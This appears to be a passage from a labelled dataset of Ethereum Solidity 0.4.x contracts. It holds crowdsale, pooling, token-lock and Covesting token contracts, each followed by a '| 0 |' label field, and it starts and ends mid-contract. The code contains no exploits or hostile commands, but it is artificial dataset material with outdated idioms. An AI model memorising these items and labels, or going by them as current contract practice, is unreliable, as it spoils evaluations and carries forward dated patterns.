if (contractStage == 1) {
if (cap<contributionCaps.length) {
if (nextCapTime == 0 || nextCapTime > block.timestamp) {
cap = contributionCaps[cap];
} else {
cap = nextContributionCaps[cap];
}
}
remaining = cap.sub(balance);
if (contributionCaps[0].sub(this.balance) < remaining) remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (balance, cap, remaining);
}
function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) {
var c = whitelist[addr];
var d = distributionMap[tokenAddr];
for (uint i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i]));
}
return tokenAmount;
}
function closeContributions () public onlyOwner {
require (contractStage == 1);
contractStage = 2;
}
function reopenContributions () public onlyOwner {
require (contractStage == 2);
contractStage = 1;
}
function setReceiverAddress (address addr) public onlyOwner {
require (addr != 0x00 && receiverAddress == 0x00);
require (contractStage < 3);
receiverAddress = addr;
addressChangeBlock = block.number;
ReceiverAddressSet(addr);
}
function submitPool (uint amountInWei) public onlyOwner noReentrancy {
require (contractStage < 3);
require (receiverAddress != 0x00);
require (block.number >= addressChangeBlock.add(6000));
require (contributionMin <= amountInWei && amountInWei <= this.balance);
finalBalance = this.balance;
require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))());
if (this.balance > 0) ethRefundAmount.push(this.balance);
contractStage = 3;
PoolSubmitted(receiverAddress, amountInWei);
}
function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy {
require (contractStage == 3);
if (notDefault) {
require (activeToken != 0x00);
} else {
activeToken = tokenAddr;
}
var d = distributionMap[tokenAddr];
if (d.pct.length==0) d.token = ERC20(tokenAddr);
uint amount = d.token.balanceOf(this).sub(d.balanceRemaining);
require (amount > 0);
if (feePct > 0) {
require (d.token.transfer(owner,_applyPct(amount,feePct)));
}
amount = d.token.balanceOf(this).sub(d.balanceRemaining);
d.balanceRemaining = d.token.balanceOf(this);
d.pct.push(_toPct(amount,finalBalance));
}
function tokenFallback (address from, uint value, bytes data) public {
ERC223Received (from, value);
}
} | 0 |
pragma solidity ^0.4.18;
interface IOwnership {
function isOwner(address _account) public view returns (bool);
function getOwner() public view returns (address);
}
contract Ownership is IOwnership {
address internal owner;
modifier only_owner() {
require(msg.sender == owner);
_;
}
function Ownership() public {
owner = msg.sender;
}
function isOwner(address _account) public view returns (bool) {
return _account == owner;
}
function getOwner() public view returns (address) {
return owner;
}
}
interface IToken {
function totalSupply() public view returns (uint);
function balanceOf(address _owner) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function transferFrom(address _from, address _to, uint _value) public returns (bool);
function approve(address _spender, uint _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint);
}
interface IManagedToken {
function isLocked() public view returns (bool);
function lock() public returns (bool);
function unlock() public returns (bool);
function issue(address _to, uint _value) public returns (bool);
function burn(address _from, uint _value) public returns (bool);
}
interface ITokenRetriever {
function retrieveTokens(address _tokenContract) public;
}
contract TokenRetriever is ITokenRetriever {
function retrieveTokens(address _tokenContract) public {
IToken tokenInstance = IToken(_tokenContract);
uint tokenBalance = tokenInstance.balanceOf(this);
if (tokenBalance > 0) {
tokenInstance.transfer(msg.sender, tokenBalance);
}
}
}
interface IAuthenticator {
function authenticate(address _account) public view returns (bool);
}
interface IAuthenticationManager {
function isAuthenticating() public view returns (bool);
function enableAuthentication() public;
function disableAuthentication() public;
}
interface IWingsAdapter {
function totalCollected() public view returns (uint);
}
interface IPersonalCrowdsaleProxy {
function () public payable;
}
contract PersonalCrowdsaleProxy is IPersonalCrowdsaleProxy {
address public owner;
ICrowdsale public target;
function PersonalCrowdsaleProxy(address _owner, address _target) public {
target = ICrowdsale(_target);
owner = _owner;
}
function () public payable {
target.contributeFor.value(msg.value)(owner);
}
}
interface ICrowdsaleProxy {
function () public payable;
function contribute() public payable returns (uint);
function contributeFor(address _beneficiary) public payable returns (uint);
}
contract CrowdsaleProxy is ICrowdsaleProxy {
address public owner;
ICrowdsale public target;
function CrowdsaleProxy(address _owner, address _target) public {
target = ICrowdsale(_target);
owner = _owner;
}
function () public payable {
target.contributeFor.value(msg.value)(msg.sender);
}
function contribute() public payable returns (uint) {
target.contributeFor.value(msg.value)(msg.sender);
}
function contributeFor(address _beneficiary) public payable returns (uint) {
target.contributeFor.value(msg.value)(_beneficiary);
}
}
interface ICrowdsale {
function isInPresalePhase() public view returns (bool);
function isEnded() public view returns (bool);
function hasBalance(address _beneficiary, uint _releaseDate) public view returns (bool);
function balanceOf(address _owner) public view returns (uint);
function ethBalanceOf(address _owner) public view returns (uint);
function refundableEthBalanceOf(address _owner) public view returns (uint);
function getRate(uint _phase, uint _volume) public view returns (uint);
function toTokens(uint _wei, uint _rate) public view returns (uint);
function () public payable;
function contribute() public payable returns (uint);
function contributeFor(address _beneficiary) public payable returns (uint);
function withdrawTokens() public;
function withdrawEther() public;
function refund() public;
}
contract Crowdsale is ICrowdsale, Ownership {
enum Stages {
Deploying,
Deployed,
InProgress,
Ended
}
struct Balance {
uint eth;
uint tokens;
uint index;
}
struct Percentage {
uint eth;
uint tokens;
bool overwriteReleaseDate;
uint fixedReleaseDate;
uint index;
}
struct Payout {
uint percentage;
uint vestingPeriod;
}
struct Phase {
uint rate;
uint end;
uint bonusReleaseDate;
bool useVolumeMultiplier;
}
struct VolumeMultiplier {
uint rateMultiplier;
uint bonusReleaseDateMultiplier;
}
uint public baseRate;
uint public minAmount;
uint public maxAmount;
uint public minAcceptedAmount;
uint public minAmountPresale;
uint public maxAmountPresale;
uint public minAcceptedAmountPresale;
address public beneficiary;
uint internal percentageDenominator;
uint internal tokenDenominator;
uint public start;
uint public presaleEnd;
uint public crowdsaleEnd;
uint public raised;
uint public allocatedEth;
uint public allocatedTokens;
Stages public stage;
IManagedToken public token;
mapping (address => uint) private balances;
mapping (address => mapping(uint => Balance)) private allocated;
mapping(address => uint[]) private allocatedIndex;
mapping (address => Percentage) private stakeholderPercentages;
address[] private stakeholderPercentagesIndex;
Payout[] private stakeholdersPayouts;
Phase[] private phases;
mapping (uint => VolumeMultiplier) private volumeMultipliers;
uint[] private volumeMultiplierThresholds;
modifier at_stage(Stages _stage) {
require(stage == _stage);
_;
}
modifier only_after(uint _time) {
require(now > crowdsaleEnd + _time);
_;
}
modifier only_after_crowdsale() {
require(now > crowdsaleEnd);
_;
}
modifier only_beneficiary() {
require(beneficiary == msg.sender);
_;
}
event ProxyCreated(address proxy, address beneficiary);
function isAcceptedContributor(address _contributor) internal view returns (bool);
function Crowdsale() public {
stage = Stages.Deploying;
}
function setup(uint _start, address _token, uint _tokenDenominator, uint _percentageDenominator, uint _minAmountPresale, uint _maxAmountPresale, uint _minAcceptedAmountPresale, uint _minAmount, uint _maxAmount, uint _minAcceptedAmount) public only_owner at_stage(Stages.Deploying) {
token = IManagedToken(_token);
tokenDenominator = _tokenDenominator;
percentageDenominator = _percentageDenominator;
start = _start;
minAmountPresale = _minAmountPresale;
maxAmountPresale = _maxAmountPresale;
minAcceptedAmountPresale = _minAcceptedAmountPresale;
minAmount = _minAmount;
maxAmount = _maxAmount;
minAcceptedAmount = _minAcceptedAmount;
}
function setupPhases(uint _baseRate, uint[] _phaseRates, uint[] _phasePeriods, uint[] _phaseBonusLockupPeriods, bool[] _phaseUsesVolumeMultiplier) public only_owner at_stage(Stages.Deploying) {
baseRate = _baseRate;
presaleEnd = start + _phasePeriods[0];
crowdsaleEnd = start;
for (uint i = 0; i < _phaseRates.length; i++) {
crowdsaleEnd += _phasePeriods[i];
phases.push(Phase(_phaseRates[i], crowdsaleEnd, 0, _phaseUsesVolumeMultiplier[i]));
}
for (uint ii = 0; ii < _phaseRates.length; ii++) {
if (_phaseBonusLockupPeriods[ii] > 0) {
phases[ii].bonusReleaseDate = crowdsaleEnd + _phaseBonusLockupPeriods[ii];
}
}
}
function setupStakeholders(address[] _stakeholders, uint[] _stakeholderEthPercentages, uint[] _stakeholderTokenPercentages, bool[] _stakeholderTokenPayoutOverwriteReleaseDates, uint[] _stakeholderTokenPayoutFixedReleaseDates, uint[] _stakeholderTokenPayoutPercentages, uint[] _stakeholderTokenPayoutVestingPeriods) public only_owner at_stage(Stages.Deploying) {
beneficiary = _stakeholders[0];
for (uint i = 0; i < _stakeholders.length; i++) {
stakeholderPercentagesIndex.push(_stakeholders[i]);
stakeholderPercentages[_stakeholders[i]] = Percentage(
_stakeholderEthPercentages[i],
_stakeholderTokenPercentages[i],
_stakeholderTokenPayoutOverwriteReleaseDates[i],
_stakeholderTokenPayoutFixedReleaseDates[i], i);
}
for (uint ii = 0; ii < _stakeholderTokenPayoutPercentages.length; ii++) {
stakeholdersPayouts.push(Payout(_stakeholderTokenPayoutPercentages[ii], _stakeholderTokenPayoutVestingPeriods[ii]));
}
}
function setupVolumeMultipliers(uint[] _volumeMultiplierRates, uint[] _volumeMultiplierLockupPeriods, uint[] _volumeMultiplierThresholds) public only_owner at_stage(Stages.Deploying) {
require(phases.length > 0);
volumeMultiplierThresholds = _volumeMultiplierThresholds;
for (uint i = 0; i < volumeMultiplierThresholds.length; i++) {
volumeMultipliers[volumeMultiplierThresholds[i]] = VolumeMultiplier(_volumeMultiplierRates[i], _volumeMultiplierLockupPeriods[i]);
}
}
function deploy() public only_owner at_stage(Stages.Deploying) {
require(phases.length > 0);
require(stakeholderPercentagesIndex.length > 0);
stage = Stages.Deployed;
}
function createDepositAddress() public returns (address) {
address proxy = new CrowdsaleProxy(msg.sender, this);
ProxyCreated(proxy, msg.sender);
return proxy;
}
function createDepositAddressFor(address _beneficiary) public returns (address) {
address proxy = new CrowdsaleProxy(_beneficiary, this);
ProxyCreated(proxy, _beneficiary);
return proxy;
}
function createPersonalDepositAddress() public returns (address) {
address proxy = new PersonalCrowdsaleProxy(msg.sender, this);
ProxyCreated(proxy, msg.sender);
return proxy;
}
function createPersonalDepositAddressFor(address _beneficiary) public returns (address) {
address proxy = new PersonalCrowdsaleProxy(_beneficiary, this);
ProxyCreated(proxy, _beneficiary);
return proxy;
}
function confirmBeneficiary() public only_beneficiary at_stage(Stages.Deployed) {
stage = Stages.InProgress;
}
function isInPresalePhase() public view returns (bool) {
return stage == Stages.InProgress && now >= start && now <= presaleEnd;
}
function isEnded() public view returns (bool) {
return stage == Stages.Ended;
}
function hasBalance(address _beneficiary, uint _releaseDate) public view returns (bool) {
return allocatedIndex[_beneficiary].length > 0 && _releaseDate == allocatedIndex[_beneficiary][allocated[_beneficiary][_releaseDate].index];
}
function balanceOf(address _owner) public view returns (uint) {
uint sum = 0;
for (uint i = 0; i < allocatedIndex[_owner].length; i++) {
sum += allocated[_owner][allocatedIndex[_owner][i]].tokens;
}
return sum;
}
function ethBalanceOf(address _owner) public view returns (uint) {
uint sum = 0;
for (uint i = 0; i < allocatedIndex[_owner].length; i++) {
sum += allocated[_owner][allocatedIndex[_owner][i]].eth;
}
return sum;
}
function refundableEthBalanceOf(address _owner) public view returns (uint) {
return now > crowdsaleEnd && raised < minAmount ? balances[_owner] : 0;
}
function getCurrentPhase() public view returns (uint) {
for (uint i = 0; i < phases.length; i++) {
if (now <= phases[i].end) {
return i;
break;
}
}
return uint(-1);
}
function getRate(uint _phase, uint _volume) public view returns (uint) {
uint rate = 0;
if (stage == Stages.InProgress && now >= start) {
Phase storage phase = phases[_phase];
rate = phase.rate;
if (phase.useVolumeMultiplier && volumeMultiplierThresholds.length > 0 && _volume >= volumeMultiplierThresholds[0]) {
for (uint i = volumeMultiplierThresholds.length; i > 0; i--) {
if (_volume >= volumeMultiplierThresholds[i - 1]) {
VolumeMultiplier storage multiplier = volumeMultipliers[volumeMultiplierThresholds[i - 1]];
rate += phase.rate * multiplier.rateMultiplier / percentageDenominator;
break;
}
}
}
}
return rate;
}
function getDistributionData(uint _phase, uint _volume) internal view returns (uint[], uint[]) {
Phase storage phase = phases[_phase];
uint remainingVolume = _volume;
bool usingMultiplier = false;
uint[] memory volumes = new uint[](1);
uint[] memory releaseDates = new uint[](1);
if (phase.useVolumeMultiplier && volumeMultiplierThresholds.length > 0 && _volume >= volumeMultiplierThresholds[0]) {
uint phaseReleasePeriod = phase.bonusReleaseDate - crowdsaleEnd;
for (uint i = volumeMultiplierThresholds.length; i > 0; i--) {
if (_volume >= volumeMultiplierThresholds[i - 1]) {
if (!usingMultiplier) {
volumes = new uint[](i + 1);
releaseDates = new uint[](i + 1);
usingMultiplier = true;
}
VolumeMultiplier storage multiplier = volumeMultipliers[volumeMultiplierThresholds[i - 1]];
uint releaseDate = phase.bonusReleaseDate + phaseReleasePeriod * multiplier.bonusReleaseDateMultiplier / percentageDenominator;
uint volume = remainingVolume - volumeMultiplierThresholds[i - 1];
volumes[i] = volume;
releaseDates[i] = releaseDate;
remainingVolume -= volume;
}
}
}
volumes[0] = remainingVolume;
releaseDates[0] = phase.bonusReleaseDate;
return (volumes, releaseDates);
}
function toTokens(uint _wei, uint _rate) public view returns (uint) {
return _wei * _rate * tokenDenominator / 1 ether;
}
function () public payable {
require(msg.sender == tx.origin);
_handleTransaction(msg.sender, msg.value);
}
function contribute() public payable returns (uint) {
return _handleTransaction(msg.sender, msg.value);
}
function contributeFor(address _beneficiary) public payable returns (uint) {
return _handleTransaction(_beneficiary, msg.value);
}
function endCrowdsale() public at_stage(Stages.InProgress) {
require(now > crowdsaleEnd || raised >= maxAmount);
require(raised >= minAmount);
stage = Stages.Ended;
if (!token.unlock()) {
revert();
}
uint totalTokenSupply = IToken(token).totalSupply() + allocatedTokens;
for (uint i = 0; i < stakeholdersPayouts.length; i++) {
Payout storage p = stakeholdersPayouts[i];
_allocateStakeholdersTokens(totalTokenSupply * p.percentage / percentageDenominator, now + p.vestingPeriod);
}
_allocateStakeholdersEth(this.balance - allocatedEth, 0);
}
function withdrawTokens() public {
uint tokensToSend = 0;
for (uint i = 0; i < allocatedIndex[msg.sender].length; i++) {
uint releaseDate = allocatedIndex[msg.sender][i];
if (releaseDate <= now) {
Balance storage b = allocated[msg.sender][releaseDate];
tokensToSend += b.tokens;
b.tokens = 0;
}
}
if (tokensToSend > 0) {
allocatedTokens -= tokensToSend;
if (!token.issue(msg.sender, tokensToSend)) {
revert();
}
}
}
function withdrawEther() public {
uint ethToSend = 0;
for (uint i = 0; i < allocatedIndex[msg.sender].length; i++) {
uint releaseDate = allocatedIndex[msg.sender][i];
if (releaseDate <= now) {
Balance storage b = allocated[msg.sender][releaseDate];
ethToSend += b.eth;
b.eth = 0;
}
}
if (ethToSend > 0) {
allocatedEth -= ethToSend;
if (!msg.sender.send(ethToSend)) {
revert();
}
}
}
function refund() public only_after_crowdsale at_stage(Stages.InProgress) {
require(raised < minAmount);
uint receivedAmount = balances[msg.sender];
balances[msg.sender] = 0;
if (receivedAmount > 0 && !msg.sender.send(receivedAmount)) {
balances[msg.sender] = receivedAmount;
}
}
function destroy() public only_beneficiary only_after(2 years) {
selfdestruct(beneficiary);
}
function _handleTransaction(address _beneficiary, uint _received) internal at_stage(Stages.InProgress) returns (uint) {
require(now >= start && now <= crowdsaleEnd);
require(isAcceptedContributor(_beneficiary));
if (isInPresalePhase()) {
return _handlePresaleTransaction(
_beneficiary, _received);
} else {
return _handlePublicsaleTransaction(
_beneficiary, _received);
}
}
function _handlePresaleTransaction(address _beneficiary, uint _received) private returns (uint) {
require(_received >= minAcceptedAmountPresale);
require(raised < maxAmountPresale);
uint acceptedAmount;
if (raised + _received > maxAmountPresale) {
acceptedAmount = maxAmountPresale - raised;
} else {
acceptedAmount = _received;
}
raised += acceptedAmount;
_allocateStakeholdersEth(acceptedAmount, 0);
_distributeTokens(_beneficiary, _received, acceptedAmount);
return acceptedAmount;
}
function _handlePublicsaleTransaction(address _beneficiary, uint _received) private returns (uint) {
require(_received >= minAcceptedAmount);
require(raised >= minAmountPresale);
require(raised < maxAmount);
uint acceptedAmount;
if (raised + _received > maxAmount) {
acceptedAmount = maxAmount - raised;
} else {
acceptedAmount = _received;
}
raised += acceptedAmount;
balances[_beneficiary] += acceptedAmount;
_distributeTokens(_beneficiary, _received, acceptedAmount);
return acceptedAmount;
}
function _distributeTokens(address _beneficiary, uint _received, uint _acceptedAmount) private {
uint tokensToIssue = 0;
uint phase = getCurrentPhase();
var rate = getRate(phase, _acceptedAmount);
if (rate == 0) {
revert();
}
var (volumes, releaseDates) = getDistributionData(
phase, _acceptedAmount);
for (uint i = 0; i < volumes.length; i++) {
var tokensAtCurrentRate = toTokens(volumes[i], rate);
if (rate > baseRate && releaseDates[i] > now) {
uint bonusTokens = tokensAtCurrentRate * (rate - baseRate) / rate;
_allocateTokens(_beneficiary, bonusTokens, releaseDates[i]);
tokensToIssue += tokensAtCurrentRate - bonusTokens;
} else {
tokensToIssue += tokensAtCurrentRate;
}
}
if (tokensToIssue > 0 && !token.issue(_beneficiary, tokensToIssue)) {
revert();
}
if (_received - _acceptedAmount > 0 && !_beneficiary.send(_received - _acceptedAmount)) {
revert();
}
}
function _allocateEth(address _beneficiary, uint _amount, uint _releaseDate) internal {
if (hasBalance(_beneficiary, _releaseDate)) {
allocated[_beneficiary][_releaseDate].eth += _amount;
} else {
allocated[_beneficiary][_releaseDate] = Balance(
_amount, 0, allocatedIndex[_beneficiary].push(_releaseDate) - 1);
}
allocatedEth += _amount;
}
function _allocateTokens(address _beneficiary, uint _amount, uint _releaseDate) internal {
if (hasBalance(_beneficiary, _releaseDate)) {
allocated[_beneficiary][_releaseDate].tokens += _amount;
} else {
allocated[_beneficiary][_releaseDate] = Balance(
0, _amount, allocatedIndex[_beneficiary].push(_releaseDate) - 1);
}
allocatedTokens += _amount;
}
function _allocateStakeholdersEth(uint _amount, uint _releaseDate) internal {
for (uint i = 0; i < stakeholderPercentagesIndex.length; i++) {
Percentage storage p = stakeholderPercentages[stakeholderPercentagesIndex[i]];
if (p.eth > 0) {
_allocateEth(stakeholderPercentagesIndex[i], _amount * p.eth / percentageDenominator, _releaseDate);
}
}
}
function _allocateStakeholdersTokens(uint _amount, uint _releaseDate) internal {
for (uint i = 0; i < stakeholderPercentagesIndex.length; i++) {
Percentage storage p = stakeholderPercentages[stakeholderPercentagesIndex[i]];
if (p.tokens > 0) {
_allocateTokens(
stakeholderPercentagesIndex[i],
_amount * p.tokens / percentageDenominator,
p.overwriteReleaseDate ? p.fixedReleaseDate : _releaseDate);
}
}
}
}
contract KATMCrowdsale is Crowdsale, TokenRetriever, IAuthenticationManager, IWingsAdapter {
IAuthenticator private authenticator;
bool private requireAuthentication;
function setupWhitelist(address _authenticator, bool _requireAuthentication) public only_owner at_stage(Stages.Deploying) {
authenticator = IAuthenticator(_authenticator);
requireAuthentication = _requireAuthentication;
}
function isAuthenticating() public view returns (bool) {
return requireAuthentication;
}
function enableAuthentication() public only_owner {
requireAuthentication = true;
}
function disableAuthentication() public only_owner {
requireAuthentication = false;
}
function isAcceptedContributor(address _contributor) internal view returns (bool) {
return !requireAuthentication || authenticator.authenticate(_contributor);
}
function isAcceptedDcorpMember(address _member) public view returns (bool) {
return isAcceptedContributor(_member);
}
function contributeForDcorpMember(address _member) public payable {
_handleTransaction(_member, msg.value);
}
function totalCollected() public view returns (uint) {
return raised;
}
function retrieveTokens(address _tokenContract) public only_owner {
super.retrieveTokens(_tokenContract);
ITokenRetriever(token).retrieveTokens(_tokenContract);
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30672000;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xED920BDe0FE6a03900BCedED6Eb72F07e02f044a;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.17;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
function setSaleAgent(address newSaleAgnet) {
require(msg.sender == saleAgent || msg.sender == owner);
saleAgent = newSaleAgnet;
}
function mint(address _to, uint256 _amount) returns (bool) {
require(msg.sender == saleAgent && !mintingFinished);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused {
paused = false;
Unpause();
}
}
contract CovestingToken is MintableToken {
string public constant name = "Covesting";
string public constant symbol = "COV";
uint32 public constant decimals = 18;
mapping (address => uint) public locked;
function transfer(address _to, uint256 _value) returns (bool) {
require(locked[msg.sender] < now);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(locked[_from] < now);
return super.transferFrom(_from, _to, _value);
}
function lock(address addr, uint periodInDays) {
require(locked[addr] < now && (msg.sender == saleAgent || msg.sender == addr));
locked[addr] = now + periodInDays * 1 days;
}
function () payable {
revert();
}
}
contract StagedCrowdsale is Pausable {
using SafeMath for uint;
struct Stage {
uint hardcap;
uint price;
uint invested;
uint closed;
}
uint public start;
uint public period;
uint public totalHardcap;
uint public totalInvested;
Stage[] public stages;
function stagesCount() public constant returns(uint) {
return stages.length;
}
function setStart(uint newStart) public onlyOwner {
start = newStart;
}
function setPeriod(uint newPeriod) public onlyOwner {
period = newPeriod;
}
function addStage(uint hardcap, uint price) public onlyOwner {
require(hardcap > 0 && price > 0);
Stage memory stage = Stage(hardcap.mul(1 ether), price, 0, 0);
stages.push(stage);
totalHardcap = totalHardcap.add(stage.hardcap);
}
function removeStage(uint8 number) public onlyOwner {
require(number >=0 && number < stages.length);
Stage storage stage = stages[number];
totalHardcap = totalHardcap.sub(stage.hardcap);
delete stages[number];
for (uint i = number; i < stages.length - 1; i++) {
stages[i] = stages[i+1];
}
stages.length--;
}
function changeStage(uint8 number, uint hardcap, uint price) public onlyOwner {
require(number >= 0 &&number < stages.length);
Stage storage stage = stages[number];
totalHardcap = totalHardcap.sub(stage.hardcap);
stage.hardcap = hardcap.mul(1 ether);
stage.price = price;
totalHardcap = totalHardcap.add(stage.hardcap);
}
function insertStage(uint8 numberAfter, uint hardcap, uint price) public onlyOwner {
require(numberAfter < stages.length);
Stage memory stage = Stage(hardcap.mul(1 ether), price, 0, 0);
totalHardcap = totalHardcap.add(stage.hardcap);
stages.length++;
for (uint i = stages.length - 2; i > numberAfter; i--) {
stages[i + 1] = stages[i];
}
stages[numberAfter + 1] = stage;
}
function clearStages() public onlyOwner {
for (uint i = 0; i < stages.length; i++) {
delete stages[i];
}
stages.length -= stages.length;
totalHardcap = 0;
}
function lastSaleDate() public constant returns(uint) {
return start + period * 1 days;
}
modifier saleIsOn() {
require(stages.length > 0 && now >= start && now < lastSaleDate());
_;
}
modifier isUnderHardcap() {
require(totalInvested <= totalHardcap);
_;
}
function currentStage() public saleIsOn isUnderHardcap constant returns(uint) {
for(uint i=0; i < stages.length; i++) {
if(stages[i].closed == 0) {
return i;
}
}
revert();
}
}
contract CommonSale is StagedCrowdsale {
address public multisigWallet;
uint public minPrice;
uint public totalTokensMinted;
CovestingToken public token;
function setMinPrice(uint newMinPrice) public onlyOwner {
minPrice = newMinPrice;
}
function setMultisigWallet(address newMultisigWallet) public onlyOwner {
multisigWallet = newMultisigWallet;
}
function setToken(address newToken) public onlyOwner {
token = CovestingToken(newToken);
}
function createTokens() public whenNotPaused payable {
require(msg.value >= minPrice);
uint stageIndex = currentStage();
multisigWallet.transfer(msg.value);
Stage storage stage = stages[stageIndex];
uint tokens = msg.value.mul(stage.price);
token.mint(this, tokens);
token.transfer(msg.sender, tokens);
totalTokensMinted = totalTokensMinted.add(tokens);
totalInvested = totalInvested.add(msg.value);
stage.invested = stage.invested.add(msg.value);
if(stage.invested >= stage.hardcap) {
stage.closed = now;
}
}
function() external payable {
createTokens();
}
function retrieveTokens(address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(multisigWallet, token.balanceOf(this));
}
}
contract Presale is CommonSale {
Mainsale public mainsale;
function setMainsale(address newMainsale) public onlyOwner {
mainsale = Mainsale(newMainsale);
}
function setMultisigWallet(address newMultisigWallet) public onlyOwner {
multisigWallet = newMultisigWallet;
}
function finishMinting() public whenNotPaused onlyOwner {
token.setSaleAgent(mainsale);
}
function() external payable {
createTokens();
}
function retrieveTokens(address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(multisigWallet, token.balanceOf(this));
}
}
contract Mainsale is CommonSale {
address public foundersTokensWallet;
address public bountyTokensWallet;
uint public foundersTokensPercent;
uint public bountyTokensPercent;
uint public percentRate = 100;
uint public lockPeriod;
function setLockPeriod(uint newLockPeriod) public onlyOwner {
lockPeriod = newLockPeriod;
}
function setFoundersTokensPercent(uint newFoundersTokensPercent) public onlyOwner {
foundersTokensPercent = newFoundersTokensPercent;
}
function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner {
bountyTokensPercent = newBountyTokensPercent;
}
function setFoundersTokensWallet(address newFoundersTokensWallet) public onlyOwner {
foundersTokensWallet = newFoundersTokensWallet;
}
function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner {
bountyTokensWallet = newBountyTokensWallet;
}
function finishMinting() public whenNotPaused onlyOwner {
uint summaryTokensPercent = bountyTokensPercent + foundersTokensPercent;
uint mintedTokens = token.totalSupply();
uint summaryFoundersTokens = mintedTokens.mul(summaryTokensPercent).div(percentRate - summaryTokensPercent);
uint totalSupply = summaryFoundersTokens + mintedTokens;
uint foundersTokens = totalSupply.mul(foundersTokensPercent).div(percentRate);
uint bountyTokens = totalSupply.mul(bountyTokensPercent).div(percentRate);
token.mint(this, foundersTokens);
token.lock(foundersTokensWallet, lockPeriod * 1 days);
token.transfer(foundersTokensWallet, foundersTokens);
token.mint(this, bountyTokens);
token.transfer(bountyTokensWallet, bountyTokens);
